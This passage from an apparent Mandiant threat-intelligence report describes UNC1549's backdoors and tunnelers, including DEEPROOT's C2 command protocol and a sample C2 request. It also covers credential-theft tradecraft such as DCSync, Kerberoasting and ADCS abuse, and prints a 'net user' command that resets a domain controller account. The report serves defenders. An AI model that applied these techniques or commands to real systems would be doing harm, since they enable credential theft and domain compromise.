Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136

Mandiant identified another LIGHTRAIL sample uploaded to VirusTotal from Germany. However, this sample seems to have been modified by the uploader as the C2 domain was intentionally altered.

GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1
Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com
Connection: Upgrade
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
Sec-WebSocket-Version: 13

Figure 2: Modified LIGHTRAIL network communication snippet

Most notable is that this sample is using a different URL path for its communication, but also the User-Agent in this sample is different from the one that was observed in previous LIGHTRAIL samples and the LastenZug source code.

DEEPROOT

DEEPROOT is a Linux backdoor written in Golang and supports the following functionalities: shell command execution, system information enumeration and file listing, delete, upload, and download. DEEPROOT was compiled to be operating on Linux systems; however, due to Golang’s architecture DEEPROOT could also be compiled for other operating systems. At the time of writing, Mandiant has not observed any DEEPROOT samples targeting Windows systems.

DEEPROOT was observed using multiple C2 domains hosted in Microsoft Azure. The observed DEEPROOT samples used multiple C2 servers per binary, suspected to be used for redundancy in case one C2 server has been taken down.

Functionalities

After sending the check in request to the C2 server, the DEEPROOT C2 server returns with a hex-encoded payload that contains multiple values separated by ‘-===-’

<sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2>

Figure 3: Decoded POST body data structure

• sleep_timeout is the time in milli-seconds to wait before making the next request.

• command_id is an identifier for the C2 command, used by the backdoor when responding to the C2 with the result.

• command is the command number and it's one of the following:

• 1 - Get directory information (directory listing), the directory path is received in argument_1.

• 2 - Delete a file, the file path is received in argument_1.

• 3 - Get the victim username.

• 4 - Get the victim's hostname.

• 5 - Execute a shell command, the shell command is received in argument_1.

• 6 - Download a file from the C2, the C2 file path is received in argument_1 and the local file path is received in argument_2.

• 7 - Upload a file to the C2, the local file path is received in argument_1.

• argument_1 and argument_2 are the command arguments and it is optional.

GHOSTLINE

GHOSTLINE is a Windows tunneler utility written in Golang that uses a hard-coded domain for its communication. GHOSTLINE uses the go-yamux library for its network connection.

POLLBLEND

POLLBLEND is a Windows tunneler that is written in C++. Earlier iterations of POLLBLEND featured multiple hardcoded C2 servers and utilized two hardcoded URI parameters for self-registration and tunneler configuration download. For the registration of the machine, POLLBLEND would reach out to /register/ and sent a HTTP POST request with the following JSON body.

{"username": "<computer_name>"}

Figure 4: POLLBLEND body data

Code Signing

Throughout the tracking of UNC1549’s activity across multiple intrusions, the Iranian-backed threat group was observed signing some of their backdoor binaries with legitimate code-signing certificates—a tactic also covered by Check Point—likely to help their malware evade detection and bypass security controls like application allowlists, which are often configured to trust digitally signed code. The group employed this technique to weaponize malware samples, including variants for GHOSTLINE, POLLBLEND, and TWOSTROKE. All identified code-signing certificates have been reported to the relevant issuing Certificate Authorities for revocation.

Escalate Privileges

UNC1549 has been observed using a variety of techniques and custom tools aimed at stealing credentials and gathering sensitive data post-compromise. This included a utility, tracked as DCSYNCER.SLICK, designed to mimic the DCSync Active Directory replication feature. DCSync is a legitimate function domain controllers use for replicating changes via RPC. This allowed the attackers to extract NTLM password hashes directly from the domain controllers. Another tool, dubbed CRASHPAD, focused on extracting credentials saved within web browsers. For visual data collection, they deployed SIGHTGRAB, a tool capable of taking periodic screenshots, potentially capturing sensitive information displayed on the user's screen. Additionally, UNC1549 utilized simpler methods, such as deploying TRUSTTRAP, which presented fake popup windows prompting users to enter their credentials, which were then harvested by the attackers.

UNC1549 frequently used DCSync attacks to obtain NTLM password hashes for domain users, which they then cracked in order to facilitate lateral movement and privilege escalation. To gain the necessary directory replication rights for DCSync, the threat actor employed several methods. They were observed unconventionally resetting passwords for domain controller computer accounts using net.exe. This action typically broke the domain controller functionality of the host and caused an outage, yet it successfully enabled them to perform the DCSync operation and extract sensitive credentials, including those for domain administrators and Azure AD Connect accounts. UNC1549 leveraged other techniques to gain domain replication rights, including creating rogue computer accounts and abusing Resource-Based Constrained Delegation (RBCD) assignments. They also performed Kerberoasting, utilizing obfuscated Invoke-Kerberoast scripts, for credential theft.

net user DC-01$ P@ssw0rd

Figure 5: Example of an UNC1549 net.exe command to reset a domain controller computer account

In some cases, shortly after gaining a foothold on workstations, UNC1549 discovered vulnerable Active Directory Certificate Services templates. They used these to request certificates, allowing them to impersonate higher-privileged user accounts.

UNC1549 also frequently targeted saved credentials within web browsers, either through malicious utilities or by RDP session hijacking. In the latter, the threat actor would identify which user was logged onto a system through quser.exe or wmic.exe, and then RDP to that system with the user's account to gain access to their active and unlocked web browser sessions.

DCSYNCER.SLICK

DCSYNCER.SLICK is a Windows executable that is based on the Open source Project DCSyncer and is based on Mimikatz source code. DCSYNCER.SLICK has been modified to use Dynamic API resolution and has all its printf statements removed.

Additionally, DCSYNCER.SLICK collects and XOR-encrypts the credentials before writing them to a hardcoded filename and path. The following hardcoded filenames and paths were observed being used by DCSYNCER.SLICK:

• C:\users\public\LOG.txt
• C:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt

To evade detection, UNC1549 executed the malware within the context of a compromised domain controller computer account. They achieved this compromise by manually resetting the account password. Instead of utilizing the standard netdom command, UNC1549 used the Windows command net user <computer_name> <password>. Subsequently, they used these newly acquired credentials to execute the DCSYNCER.SLICK payload. This tactic would give the false impression that replication had occurred between two legitimate domain controllers.

CRASHPAD

CRASHPAD is a Windows executable that is written in C++ that decrypts the content of the file config.txt into the file crash.log by impersonating the explorer.exe user privilege and through the CryptUnprotectData API.